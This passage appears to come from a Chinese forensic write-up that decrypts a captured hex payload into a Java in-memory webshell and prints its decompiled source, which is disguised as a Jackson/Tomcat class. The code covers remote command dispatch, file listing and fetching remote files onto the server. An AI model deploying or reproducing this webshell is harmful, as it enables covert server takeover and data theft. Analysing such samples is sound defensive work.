538ad351a41f2f2600e59cda2ab1efca489b777eddc668f5eaa439c2dfb50a2c70cfb5a0a0bffbd035f257ee0ca8f67adc5a61640f22e558738236044f91d13283661eed69991a20308a0fb6f21f095784d476bc8fa4987a6e4f2646e74e9b567fbd951f1625bd64a95df92d4ca102f64d4f7d79123b6ff55a644b17b3760b8a0ad7ce92ea278cb7a88b755c32533bf68a6837ddee49382b8f74a994719ab1c309cde2a9bb52195b23c6b904cce51bf27d5047dd4a533fa89a83904d2f7e46732a5c8ccb5fd4c65f91b90ba2697e7487edfb920ca4a1524836ec72e88bc5f6fcb0e81826df905772c5ddfdbba4a9b550190de150524c1a160178a5d8ea4def27a73202fe540d81e870dc2d11fca438ce1e3f57181fd8e15a7f9b12dfe5effbed964ee57a599c87b151a16526a5abd33a84507562b28a45dc7d294104f377ea0967a182e9bcca9604a7bc22f4fab218deb82ae3527c3ce685ff84305d73c5e851b1cf9064b469ee8d18d5d6c9e6fd210c141c839fe03b06edd5ad6b38c068b9083c3b4d7c17abb2059d6c3fd57534f649d7ba3f8a97fb7eef0de55aa0b74f4099ffae9f2192d1a931ff87c0c4a3af824bacfa6238225935df407b5d77a068ccbd03ea727834470350708306f47d76cf08b7967146eda1e245da1939f00a4651dbeda30f4ebbfa3b14faba0e1a5d2cda54272e9464fe449d63d65dc03662fcaa6d52fd7781e0fc1d6f866695b1f18643516f62c44ef91b789bd3f056b2469c64a7076fe15e65c984fe54608b1402e942be349fb140ccdf73c5cd2e111d595da71da6ce7f3562c7242b9bdb2d51546992c510a289262d4bf118a36c7eab75f4729c1823f61b649d4878ecc8be907c06619b19d30823c3942d289eafc2abad29b945a30f6f9fc88863441c7748a96cad4f38e61ba36bbb041a15f4157e76de164536b250aa86f0ff0d5768079f1df5c63a44aa26b337849e3328a644883d7c9226ee869684bd9dd7be47eae5a5d6f0091b3a428b9880ef986a93736a8bccdf3fdd3bdbffd08d10c5699ab63d4d7ee5da485c939b4583935f9a64096b7d9e3e303dd2755d939ae08c77bb032cd30d00b7fd93891ae5ab14ede4c2f6b37d00d7020ad1f173831f657552df44791a2b1341bf564e47b7fce112613eccd89dd4ccac5ab51b26ae696353d4f77e20d9bc20c2d1342c3c7f8d5b4db54b75d9e10bf80b7ca4619d589579613b02a35689dde6ed3295850af4ba34db193911b6fd4811c7b38005486006d00c9e1efe19e25d247023b356f411875a3bcf16dce6c10375a036c8a37e3f8edb908460d49af82be07e446451c30463f5500e791f0a99445c526f0dbde97567510ab42ae39c76abfe5be1a08edede7f636f5af197050dac85028975cc28a0b55753b70c7a351ace0b5b037f8c2875816f3124e89291928cf9107211f005a893f60e5cbbf0f8d923c21cf1a40b23097275cbb294bf8c109f02850b1180769eb66616f7301adc38edb27c1e22e39259c753708cc10ba6ddda38f9779ff182a2277f7609ba0afebdebf7b6583b51b98acf93211aaa14d7a6471cc7371f1b4e9fde6c1842d6468d63d3d4abec6ac8f993092468bcbeb47ea19b4aa54ab23393c961f568f1ad84dd31d09c31836940547010aca6dbef726db095f942ebe1b5c18782d33cea64d08f3d8049e11c263d0efa4d709e96d9cb8757b758b47071144d125bdf88597d32d2af3b0193fc18814256e0b80f9ffe0616098f0225fdaa6affdb19f6dd9a5800b53d4fbec91ca8a6a4ba17c378757c6685f3fe50aff75fcbfaae63c33bcfd9ebcf02ecd3020a0474c398d87a89ec077f26756afbedce55821f31d1b001a2237409c1d094dd0feea3eaeddda2a5ff3955fab5b3b9748d2280c0e12644ec26710141605c904672963927e6f978c2494cecbb4462236cbf9a732c37ef7ea610a589d22c24baf6741dac1c28cab07259a9c4530d6e89ec270f8ca7a404f63a562c58935d95c0eb35dfd3d2555905195ef643dcf78e76c62bd39c2a9e4410781e80323665aa8e945f6582d319ccd65e9964e6152ba25494e68cf3e8271cffa9bc435a5922728078f646523bb89f0d6295910376ce95118b4067d465e01cdfc9a0192e89feb19e4a52b92ebf4d5caf9ed1857041a3c21fbf6aa9c4790ac8388ec698d1cb618a1cc0b90d897d730718a73556e5506aac230a94aa5118c5f44f812c0d0793ae499ac1586e86a2d151c730a03820a52c6eacb99c907b83268a449bbe973fd52179e1fccff52dbf6c0e27158259acbda829127c18304f2a1a0e28fbcb701ee46ac42c8cea493ca5d48e7bb3ec134718d0b8978ba12e2362f6370fba6fca27f37cd11c1147726de07091e7582c4517dc767026f0087f7b718f1e71b25a0f7cd17ba308c6a8da6f97f754d61f6dd05e85f1bb0d760862aa7ebfd3e040605ddbe71e71b58d27d564924f8db379e38f88d3997952698272e1426927a88d92c0e200fbea08055b15a8a9c6eafe43a754b8293d2a6ebaffefbe4ab9c694ba0555f2f45a501f6c3551a68d0f13e1be42ccc90bc582ffadee8f1159072a4f4474f3767bae16c823d90c969a700fb9910551b54909a9b728750bd08993f1f84da1e9d961965e4a768644b0d82dea1fd3971f448bf5362634b441b6ee8bbd1725178adf5ce1903098f316e4874040e20472602b1ea6332564013710d3d6feb8b507567260ec71f1dc1c770f35a0caa52d2f99cb1c8379f27e6ce6e42353242fab01c546479332adbad30f9ae74a8f3cd0fecc1e192460a732834cd335b89e1bc2eeb41a3109d3280cc8ae45ba56dd458ee0dd0bbdbcc8ef4586141f1c711cb0dd1387eafb0a2a22132ec1326ff5a6ddd465de0d268582f706bc1dc9455d2e3042cecca0a75d09be7f74f8ed4514ceca309d79597c85aa3c9438c3515d9da17ae8112fe2ae7baa86f6395de0f32baae42502f3d3032ca759fe44f5ba8f01ba2cc97e2cd82562cf5bd76e1db251b45d9995fa6d7ba84460e7bd0dad4976d003be32568c6e4f9bc3b1ccdf294c3ae5d643f7c9d15c32eaa559d6ecf8d5e45bfc705c623806b0f87afb773ce8f5d93cea44bd97bb5ad94c0a829bd4f5353570921f24d9effa4b273cc9bf1dd267e39cc49c11aaf36132d0404702d445cc43cd53cbe736361a5d7baedca5652ca82dd416c1ed3ce1f96b8377c7b817d59095ec29a79d2da2a8561eb47f93f7371ead7133876bde2a6ec9157e5931d511f3f9db7f3a71ae225422d877515eb6296c0dce1f2bd5dd9d40bdf9b6b6985a60f0018d7f6284f38d6be87ef5b99f3d144f0c69735aba7ad56a8fcabfb7475f4e367ebf52b43d703fd092e8bffa91b95c89ec72edcc331f81bbdeef150b2d8e175c99450380e0a6280a5e55b91ba2529cb8b9c73cfeac0dd713d752dee200f5323993c4accbcdd2437fcb2dab1ac06aafed2cd1a0cb0d1190e08f78dc88dcf70d44ffda29fb96681474ff468049d8accebbd2cc6297cffe42b75f1ff08e4ef0a351dae9b77aea0d555642c1a80c6bceeba4e4d6747b7fdfd2749fc854f865474d13d6a4a86e80f4210a01a7ad19ae50e98e638e03c00d8f578456445da5ed34015d0f131cd1184cb22c0255d519d1587996af8cfb77c9080b425f944ab7a2e81f1f79426db94e09b52f4663d0f8cf6e8ee69a40944b25f74ef957e6d6ffbfa54c8dfaf14be4f690ef5c9cc6ecb2b674293dd9ffbfb21f472dd665093c510842c2e38bbbc126d26c41b5ec947c74efb63412f91f5548a1f0e01687e74101bc7b4a34de4d7562b6f9daf68e896215b25fa7d5aa0da1df8c3e5537f17c7661b6379538fd0ba7cb6e287c389cf385b1af019b276d2d856ee4c1b990fe19ab80c9c6a7a0c630e4fcd09170df83dc6675b1723dbe96bb96bbfd568bbb8fbb210823e787dc9061fa40a5f816a9177baf939ba0ca8ac01dc721b5f09a7e42cd808be2a024d0aa70498a90d098c525f2b45e871fd331a3746331f94667dd0a3579e5cb66a4700586728eb20c4110769f4cf2eaa433c24728822bb1c50a998d758e5d62fe099144f52c1643069ea4b5b7d14e9f3a5fd68ec05a723178bc74dbc6c736d4bfb9eb286fbf3fbcc254c269b5677ae8862381409d8024ce076338e3ad843f6b9f360b28602b008fb659df43061c74df1eecad2357739bcd6b8c664561cf8cd04ae9261f329dc84cdb83b3466ec2ea60e9630471d8cfd036795a8fca35e513f589856ba423d589c8e4f4e9a443f49d6b493ceb0406712a7d68f6df8e49338de0df1d5eb5a749625b071dc905e142c75e9ded4f2119e679bd24bfa04692dd195f32f1643b27e156327c31170dfc2a95c2d5e7edf175e3c36f78dd855f117b421dd2095ee433b9e8794f8b7361b881d255215e5eac2d9b086ef261bf82fb9a22b78a5f4122fd78dfb49f07188ed1e8d20ebb42ee98bea802187fa519304625a08e27fd90a70c7835b7e6a9be806fcdb256f87370d31845b01b32b06a27d97cd98ce940d6a37fb25587052df5a3898a09a82fab25b9422ac93ea05d94eabbbfd9b5465a3df681a35261a672c8346642d1489a1e5ad4c2e12d8c36645f0db9929f6c42f7fb24f2bee223028b5703fb9f548ee835a555b7c774a1171aba392abe6ad34b30221976ce351dab115ea0f33472294dc7b12903af4cf55acba6215a4b695d9285926f47898f86a6795213662d8576cd64b8fa61bec556ba7a82d43eb5e02250904bc2ddc12cca92d8778db73d1178669431bec51f43f269f822ce1b8c41410b2e69bbff72bb9de9325f9dff95b345bc78ce2d3a5a4519e888932eb7d4d167643aa410de5e93796f8afc1d117b9b9420edd0bb0233eb42abb394f8608490285c978e42500e0270b47f7b1ef31dfb5832e1891ded0c6a07aa72222b18e6ffb2329774e3f7be120fb11c2f44544403365b0313e07073a9dfde5fd60ea0958e350c952dca3599470c1f43d07f2ddb6613c9c1f69db8fc1e3b59dadb945b3a4bd3a1f725a73bff4ab3867895c3478bc36b174d469d92ad62cdfc59cccb34ad9dfeae64f51c66e07d0e36e6ce1f6c69fbf1c07c9d1e2bd1e87dbf29e1e42f43e9bc3b175dba1736d483e32c5b02365d4efee9c8c88bc4564c65260678e45caadca963962b7aabbd76326ace7cc9d395676dde2782679cbfcef948f589ef7de142d58fd853b5835c43a55aebd6b465ef5c74d2ae7f7a6bbddc13faeeb3da82c0eb43142778e4f33bf4352c307e58994fcef216763b8bdcd3e50ddadca88c618c5f7c9dcf2f9a3891430cb77850e60e4ce6b2e0c08b310782b9789f57c3c5886bff551248b002257fa19b9100acdfcdb7a40c322acd9fc173e77fb98bc76c6c71e3421ad701551f7f63c1803922b06dc116d61c22f85a6c3bd9aa71f1cd04c779c88bd70cddeee7b03e8aee19fe1d352484161e3755291f72990d15f08608b95deb55a4da503b8dfc5901a907d7d464f3c10f47d42cf0ea8377edc31950ca9aeb209fec231459c71b336157f517fe19ec761431dd6023d8c8dff01b68a009d4b2ef5037b99124801c151268f5d6f4b979d451306f10b0c33a9d5acd7930baf6d023878f38afd8e54c9920940ec6dcfcab609aa078054cfdfc43e5f4d0d7a0cfa926d82f36b643f5fcdb466c3dc960d7f79f9050b896801c1464af59e1a857f38eec25b0352746b9205ff8525591f96baf77b66451fd4c0258e167a40d63e56360cab5af2ae978e3fec071538d9a4a4f8f813fe9a1b825d3d5b399948c2366da0cfdbd541fdc6ee764fdab378951aceff03fdae608014ee8a396f59e0192305b911f2c975286332336f0aa2499c2b2d88ccb5362e5bc7f399aca0e53e76a807b5f1b9fef3533c3c5e93a7352490a933c18d864a28c451e5bf8f65a6bf643bf829af4eea03cceed8ef775fa218fd11b42694c5ba861a789fabd7914bc5c920f76f6c1e83365a4e8e91943c159aa5f9fdc6bf9fe6040dd28abf04b6c9143ad8ef4d81251b59ef20d662efcea064297b6592aba4a9bf2b3faa11d3dea7c331fd3ce5164e7a22f8f0afd931a01801100821efa9d2cee87ce123bf02aeafabec1806e436e5526eebea309b2abb86b778c20c1955beaa3dde162cda2c9b5355af81258ddeff5a6ef671645afdfe8a95943056b17dbec3d28c4f02734fc9066963e88a37cc901354c66f9e1193d653a2e13a0c2ef01ab159c0cbff138ded031f20cf195a1b0542e4403ed4aea4eae4f0b3c21f863d7b0560649041b6512c45e418cca8b5d302f1182ded09699f2404f2bee3bf06cf7410a1e71ac968c30b6805650544f14b7931c8e6812010e7ff122748bda9664104e81d79b682fdba39d312664e7a758d531f1b534a964b6cd8e08584d60ecaae5ee62f7b93c6a60516d67e17b600c6ee47f8130fbe9cefcbcdb0eb6217cf8f3a9c851af8a89c94a315a71211d66b91952a58b4807b701bbd63984f81d2a2be546d5886a803b2d59d7ecf66d8d113fd80d214f5879b441b85d6bbb83a94e6d1d484b3e9d8e83f567f3c43020704896fc574e442eb75bdcbdfbad0167d7a65c58b1ea0caf54541cc603be1d31372014133ef46f1d81d2b715a5bd9ee8270ff15666db4c92d794eb9701f2319029664adfd6146e4b8328d758b2b52ca773dfd5bd900949350ca67e649b8557b11b546f52b5f29bbbb0fec931c117cd7c6fd96868799e5ab0f8c17e4ddbb831818f0ad0c77e8e26360518ae28019bf44f8ac6280d9f88f163d066837a51f50e06dee8e30b4523cb867f4c85360fb142ab34414c1668fdb5747f0abca9d74766ba797035f718e700e83613c3a0cd63545a9c7d10e3556e95d362003489711000f29388e435e1bd07558d033bda36e1b204da762bf7c6d6a15a2aaa5bb2f1af3fcf55048b715edbc42805c01678181116fefd77cb68e385a3274c386b5550ee11fbd9722d4c8dc91e7c5e201fccee8a4bbe04c3e72cb60140328d7308b56a62faf133a4f787cdd59c7d0fc438517cf8c8c4bf1abc2f526a4f910b19cfe1a3ac21ec3bdfc32a3a1b74652463d8157d44d0fd74e7d5c0fc2d8933a20035b9afe647cb234208eb04788cc9769c6f9548143c7f3584010b61b62d9b3688b58a544e0d9085476a0f947b5de9f35bc507c53311e10ffb920c71888d0d5d3050dc9cf800c6672bfb4d8b1e185e3c1f34d3ba3e4f847d3c78f875315b7503eed66fe16ecc7a1cb899621948d19e6ad5cb48d95b1374bad5e58f1af0a927331d4b2ddf1571033f5cc0f4f582877a0a9345d6f3e00ab97ccf61b43526e5cb99c0f82b5b9bd78c6792f8af68205f96f7bbc30021648184db28217e8698cbfea2b917e166694d13b92909ebffc6b33b7e493782c6496f045703cb6265175a6d109377f0f71b8b6b1ace6a99d1cf2f711364d7822a87f6865ec9c1b2fcf29fe0f9b6d896bc85527f162f625cbc4e255f942fdc3116b6aa5e362b445cfe5993b1c8bade46052fee150750c7231b98dba2ca4aa9aa16120db5865b40a5a0c2bb67e5a10cc4b1c91dd26fa6739073c924d6a6d90ca85af3b9243b6d8249448cc7934cfe5c082fcd4f1f26a867dee37686e35ad2d0049f0e6d56dcd4c4c97b312189ce703787003990c0b5685163cbe0da18aa311b64aa8550c4d137fc264707fe36bcd9234b323f34b3d82cc808f8544a501ff54d21c5aa8293baa947f2acff3595c2adfc55c5225071e26aaf69c20ff3f7101c8f9b93f9f5d9e0099951b1858b6227b9c196edb12a6cb5297586137082965802fe4898270982ce1210d0bbbb93db40517c8b4dc06e5164ac402957ff1ec3f259cdf9eec3379d26fa898645ad9a9a7a19f0bed4689541a2ad5c785c56c751f219ceb3a666bebf0c927ab5572d33e7a82527210b00956472276f0ce33593c6b9514ed60705b187e78976efeaf36c81f33b9de185915f1535a0885a6f35945399d870f69db8023b3940f6bbc6d13c00b4348bcb09e9bc69c6663808dbeb5bfbf599edeb32d8c0fd456ba54a4d0076d4c3645861023771765687dfd2cb3976d60fe3608329e07ac375092ac6d1e49cfda5200fa273626e67ba9d2229b50898c5c28a75b91991c85bb9fb0dd949f50793a29a4a6a5f64b6b36e4d532465c9e2c52a1fca0ab207b72eb2998fa378f6efdb4ce15207e3881f91bac239babb4059a82789612c1eaecd1b2bcf0d3a43de4d36c728363461e988365daed99b04f2db0365f06a8d2440121ea3150f6afd0e7f16574d14d0c91b0cdabd0f7b58337323419cc41db96e0b00f6fa9b61fe871d30d371169aaba99f456839881babed7f438e27f2439ffb86334cdf685aabc3bb6484ec6682e9fb90ce6b5955f34dc8137ae2b74f0b6f012261a8d9d60ceefadc9dcdbdafcd0e2de383a57a73327112f84283ef724e2886a846392c9ba4b36e1238110f27fd7c0f39a0c1693ddaec6ef84a245f89af77c15c8dbbf9da3167554182d04a3e1ef90f9bd5d493cd2d283a0a635cf5ea4b3bbc85960cb28c9674b4b0e1cf6d7532639794d7aa58020a60bd7e4c434d00edf376c04f8903c8c0f4754430a8f7e1f72c55b6100ca9f3aa9f0587f8f5a6545bac9e202fd3493748feefc8ee1f7e40f9a936fac5e262fba2267ea066002fbc4f42717e2ad83a8a329216b90e50079823f114777e4b57f058a6d24e9ec43070b1ffcf04d9a39a7a6b5caa732cf370519a09c58f78bffbfc5fc87d453581d9ddcff61875d2d6bb09f4ebcd8b15313210f8bc22ec07976b93f649cf97d61232216bd1db661da6efe0892d24d8df515f691e3a9b64019045fdb3b1a355a703443b6358c1853c3f25666827f0830fd5d0c6cc1864cf89bc59084aa3dff0f3ac989b23f94964a003a96b7f754071589792b6142703e083ad687a4e25b2c850f3dadf71e45eb1b0faed556c82d0d917af43fad87b33e36f362b14463d93423cf23e94e55886c322930ba854639acd04c2a7f4ac5553f9adb86b44c99db8103ab448eb243349df954d26504eb4017d7af6718438505fdc484accd73170560419a823c6b57f3f913df4fbdfc3c99f4a3833f777d940f41684ed20304791c360046c97f4ee53e758e596b7a039b5b4286689d58b8f478b2509f47316b4d96f2bf8180cffce8644ba3f9d0fe7d419a3f5ddceb7cca4f37247860909a011b95568f16d53b9cac7d3b9f27c7ec32bff85fd3f9c47f23b804205b9a792587f07d87cfadaeae241dc5703e794e10d6143198b87d29859f590f78b5762a203ea37883999f75b83849c8b58a07f09f4ee39a7def73db5afaf28f555d261b17ef19462b10b127302131bde5d45648ac522d717ec818852e215bc5c46b189b8f4170eeb7f87a033c71fed1eb55d00b26d091d23e00f4655e62134ffe925e05e7b60ae7a0c9c26ecc8f868d189766bd5cf36295310fcb07ebbceffb4942e6c12251e8fbbde85abd353762191f05a9aabb37cd3bcd2dff09004feb5599d4280cc96ff15c54b085e24593b837155c3bd83002d2f446c9076412364e82025bc761152d9f9c9514b407c568531b6950bd91e9a66f97f5c7d3985622db235f20bd0295a751f3d17a48edd463e84a47931c396b93777512cb39edd808457df1484b8094bc55d2cb666244b1f418742d097a9d376d8f18931cde53f3aa5b71232fd969614850bb82ccd56f3b28110cf4f51a2162da77fff72d1b8ac9633"}";        byte[] requestData = b.getBytes(StandardCharsets.UTF_8);        byte[] _requestData = new byte[requestData.length - 112];        //java.lang.System.arraycopy(requestData,110,_requestData);
*/
        java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);
        requestData = _requestData;
        requestData = unHex(requestData);
        requestData = aes128(requestData,2);
        Files.write(Paths.get("./233.class"),requestData);
    }

}

我们查看提取出的class内存马

代码语言:javascript复制
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//package org.apache.coyote.introspect;import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.PrintStream;import java.io.RandomAccessFile;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.URL;import java.sql.Connection;import java.sql.Driver;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.ResultSetMetaData;import java.sql.Statement;import java.text.SimpleDateFormat;import java.util.ArrayList;import java.util.Arrays;import java.util.Date;import java.util.Enumeration;import java.util.HashMap;import java.util.Hashtable;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Properties;import java.util.Random;import java.util.zip.GZIPInputStream;import java.util.zip.GZIPOutputStream;import javax.imageio.ImageIO;public class JacksonAnnotationIntrospector extends ClassLoader {    public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ' ', '/'};    private static Map sessionMap = new Hashtable();
    Map parameterMap;    byte[] requestData;
    ByteArrayOutputStream outputStream;
    Object servletRequest;
    Map session;    public JacksonAnnotationIntrospector() {
    }    public JacksonAnnotationIntrospector(ClassLoader var1) {        super(var1);
    }    public Class defineClass(byte[] var1) {        return super.defineClass((String)null, var1, 0, var1.length, this.getClass().getProtectionDomain());
    }    public byte[] run() {        try {
            String var1 = this.get("evalClassName");
            String var20 = this.get("methodName");            if (var20 == null) {                return "Method is empty".getBytes();
            } else {
                Object var21 = null;                if (var1 != null) {
                    Class var4 = (Class)this.session.get(var1);                    if (var4 == null) {                        return "Plugin module not loaded".getBytes();
                    }                    this.parameterMap.put("sessionTable", this.session);                    this.parameterMap.put("servletRequest", this.servletRequest);
                    var21 = var4.newInstance();
                }

                Method var22 = null;                boolean var5 = var21 != null;
                Class var6 = var5 ? var21.getClass() : this.getClass();
                var21 = var5 ? var21 : this;                byte[] var7 = this.getByteArray("invokeMethod");
                Class[] var8 = new Class[1];
                Object[] var9 = new Object[]{var21};                if (var7 != null || !var5) {
                    Class var10002;                    try {
                        var10002 = class$0;                        if (var10002 == null) {                            try {
                                var10002 = Class.forName("java.util.Map");
                            } catch (ClassNotFoundException var17) {                                throw new NoClassDefFoundError(var17.getMessage());
                            }                            class$0 = var10002;
                        }

                        var8[0] = var10002;
                        var22 = var6.getMethod(var20, var8);
                    } catch (NoSuchMethodException var18) {                        try {
                            var10002 = class$1;                            if (var10002 == null) {                                try {
                                    var10002 = Class.forName("java.util.Dictionary");
                                } catch (ClassNotFoundException var15) {                                    throw new NoClassDefFoundError(var15.getMessage());
                                }                                class$1 = var10002;
                            }

                            var8[0] = var10002;
                            var22 = var6.getMethod(var20, var8);
                        } catch (NoSuchMethodException var16) {                            try {
                                var8 = new Class[0];
                                var9 = new Object[0];
                                var22 = var6.getMethod(var20, var8);
                            } catch (NoSuchMethodException var14) {                                return "No Such Method".getBytes();
                            }
                        }
                    }
                }

                Object var10 = null;                if (var22 != null) {
                    var10 = var22.invoke(var21, var9);
                } else {
                    var21.equals(this.parameterMap);
                    var21.toString();
                    var10 = this.parameterMap.get("result");
                }

                Class var10000 = class$2;                if (var10000 == null) {                    try {
                        var10000 = Class.forName("[B");
                    } catch (ClassNotFoundException var13) {                        throw new NoClassDefFoundError(var13.getMessage());
                    }                    class$2 = var10000;
                }                if (var10000.isInstance(var10)) {                    return (byte[])var10;
                } else {
                    var10000 = class$3;                    if (var10000 == null) {                        try {
                            var10000 = Class.forName("java.lang.String");
                        } catch (ClassNotFoundException var12) {                            throw new NoClassDefFoundError(var12.getMessage());
                        }                        class$3 = var10000;
                    }                    if (var10000.isInstance(var10)) {                        return ((String)var10).getBytes();
                    } else {
                        var10000 = class$0;                        if (var10000 == null) {                            try {
                                var10000 = Class.forName("java.util.Map");
                            } catch (ClassNotFoundException var11) {                                throw new NoClassDefFoundError(var11.getMessage());
                            }                            class$0 = var10000;
                        }                        return var10000.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes();
                    }
                }
            }
        } catch (Throwable var19) {
            ByteArrayOutputStream var2 = new ByteArrayOutputStream();
            PrintStream var3 = new PrintStream(var2);
            var19.printStackTrace(var3);
            var3.flush();
            var3.close();            return var2.toByteArray();
        }
    }    public HashMap deserialize(byte[] var1, boolean var2) {
        HashMap var3 = new HashMap();
        ByteArrayInputStream var4 = new ByteArrayInputStream(var1);
        ByteArrayOutputStream var5 = new ByteArrayOutputStream();        byte[] var6 = new byte[4];        try {
            Object var7 = var4;            if (var2) {
                var7 = new GZIPInputStream(var4);
            }            while(true) {                byte var8 = (byte)((InputStream)var7).read();                if (var8 == -1) {                    break;
                }                int var9;
                String var10;                if (var8 == 1) {
                    ((InputStream)var7).read(var6);
                    var9 = bytesToInt(var6);
                    var10 = var5.toString();
                    var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false));
                    var5.reset();
                } else if (var8 == 2) {
                    ((InputStream)var7).read(var6);
                    var9 = bytesToInt(var6);
                    var10 = var5.toString();
                    var3.put(var10, this.readInputStream((InputStream)var7, var9));
                    var5.reset();
                } else {
                    var5.write(var8);
                }
            }
        } catch (Exception var11) {
        }        return var3;
    }    public byte[] serialize(Map var1) {
        Iterator var2 = var1.keySet().iterator();
        ByteArrayOutputStream var3 = new ByteArrayOutputStream();        while(var2.hasNext()) {            try {
                String var4 = (String)var2.next();
                Object var5 = var1.get(var4);
                var3.write(var4.getBytes());                byte[] var6;                if (var5 instanceof byte[]) {
                    var3.write(2);
                    var6 = (byte[])var5;
                } else if (var5 instanceof Map) {
                    var3.write(1);
                    var6 = this.serialize((Map)var5);
                } else {
                    var3.write(2);                    if (var5 == null) {
                        var6 = "NULL".getBytes();
                    } else {
                        var6 = var5.toString().getBytes();
                    }
                }

                var3.write(intToBytes(var6.length));
                var3.write(var6);
            } catch (Exception var7) {
            }
        }        return var3.toByteArray();
    }    public boolean equals(Object var1) {        return var1 != null &amp;&amp; this.handle(var1);
    }    public boolean handle(Object var1) {        if (var1 == null) {            return false;
        } else {
            Class var10000 = class$4;            if (var10000 == null) {                try {
                    var10000 = Class.forName("java.io.ByteArrayOutputStream");
                } catch (ClassNotFoundException var3) {                    throw new NoClassDefFoundError(var3.getMessage());
                }                class$4 = var10000;
            }            if (var10000.isInstance(var1)) {                this.outputStream = (ByteArrayOutputStream)var1;
            } else {
                var10000 = class$2;                if (var10000 == null) {                    try {
                        var10000 = Class.forName("[B");
                    } catch (ClassNotFoundException var2) {                        throw new NoClassDefFoundError(var2.getMessage());
                    }                    class$2 = var10000;
                }                if (var10000.isInstance(var1)) {                    this.requestData = (byte[])var1;
                } else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) {                    this.servletRequest = var1;
                }
            }            return false;
        }
    }    private boolean supportClass(Object var1, String var2) {        if (var1 == null) {            return false;
        } else {            boolean var3 = false;
            Class var4 = null;            try {                try {
                    var4 = Class.forName("javax"   var2, true, var1.getClass().getClassLoader());
                } catch (Exception var5) {
                    var4 = Class.forName("jakarta"   var2, true, var1.getClass().getClassLoader());
                }
            } catch (Exception var6) {
            }            if (var4 != null &amp;&amp; var4.isInstance(var1)) {
                var3 = true;
            }            return var3;
        }
    }    public String toString() {        if (this.outputStream != null &amp;&amp; this.requestData != null) {            try {                this.parameterMap = this.deserialize(this.requestData, true);
                String var1 = this.sessionId();                if (var1 != null) {                    this.session = (Map)sessionMap.get(var1);
                }

                String var2 = this.get("methodName");                if (var2 == null || this.session == null &amp;&amp; !"test".equals(var2)) {                    return super.toString();
                }

                GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream);                byte[] var4 = this.run();
                var3.write(var4);
                var3.close();                this.outputStream.close();                this.parameterMap = null;                this.requestData = null;                this.outputStream = null;                this.servletRequest = null;                this.session = null;
            } catch (Throwable var5) {
            }
        }        return super.toString();
    }    public String get(String var1) {        try {            return new String((byte[])this.parameterMap.get(var1));
        } catch (Exception var2) {            return null;
        }
    }    public byte[] getByteArray(String var1) {        try {            return (byte[])this.parameterMap.get(var1);
        } catch (Exception var2) {            return null;
        }
    }    public byte[] test() {
        HashMap var1 = new HashMap();
        String var2 = this.sessionId();        if (this.session == null) {
            var2 = getRandomString(16);            this.session = new Hashtable();            this.session.put("alive", Boolean.TRUE);
            sessionMap.put(var2, this.session);
        }

        var1.put("sessionId", var2);        return this.serialize(var1);
    }    public byte[] getFile() {
        String var1 = this.get("dirName");
        HashMap var2 = new HashMap();        if (var1 != null) {
            var1 = var1.trim();            try {
                String var3 = (new File(var1)).getAbsoluteFile()   "/";
                File var16 = new File(var3);                if (var16.exists() &amp;&amp; var16.isDirectory()) {
                    File[] var5 = var16.listFiles();                    if (var5 != null) {                        for(int var6 = 0; var6 &lt; var5.length;   var6) {
                            HashMap var7 = new HashMap();
                            File var8 = var5[var6];                            try {
                                var7.put("0", var8.getName());
                                var7.put("1", var8.isDirectory() ? "0" : "1");
                                var7.put("2", (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(var8.lastModified())));
                                var7.put("3", Long.toString(var8.length()));
                                StringBuffer var9 = (new StringBuffer(String.valueOf(var8.canRead() ? "R" : ""))).append(var8.canWrite() ? "W" : "");                                try {
                                    Class var10001 = class$5;                                    if (var10001 == null) {                                        try {
                                            var10001 = Class.forName("java.io.File");
                                        } catch (ClassNotFoundException var12) {                                            throw new NoClassDefFoundError(var12.getMessage());
                                        }                                        class$5 = var10001;
                                    }

                                    Method var10 = this.getMethodByClass(var10001, "canExecute", (Class[])null);                                    if (var10 != null) {
                                        Boolean var11 = (Boolean)var10.invoke(var8);                                        if (var11) {
                                            var9.append("X");
                                        }
                                    }
                                } catch (Throwable var13) {
                                }

                                String var17 = var9.toString();
                                var7.put("4", var17 != null &amp;&amp; var17.trim().length() != 0 ? var17 : "F");
                            } catch (Throwable var14) {
                                var7.put("errMsg", var14.getMessage());
                            }

                            var2.put(String.valueOf(var6), var7);
                        }

                        var2.put("count", String.valueOf(var5.length));
                        var2.put("currentDir", var3);
                    }
                } else {
                    var2.put("errMsg", "dir does not exist");
                }
            } catch (Exception var15) {
                StringBuffer var4 = new StringBuffer();
                var4.append("Exception errMsg:");
                var4.append(var15.getMessage());
                var2.put("errMsg", var4.toString());
            }
        } else {
            var2.put("errMsg", "No parameter dirName");
        }        return this.serialize(var2);
    }    public String listFileRoot() {
        File[] var1 = File.listRoots();
        String var2 = new String();        for(int var3 = 0; var3 &lt; var1.length;   var3) {
            var2 = var2   var1[var3].getPath();
            var2 = var2   ";";
        }        return var2;
    }    public byte[] fileRemoteDown() {
        String var1 = this.get("url");
        String var2 = this.get("saveFile");        if (var1 != null &amp;&amp; var2 != null) {
            FileOutputStream var3 = null;            try {
                InputStream var4 = (new URL(var1)).openStream();
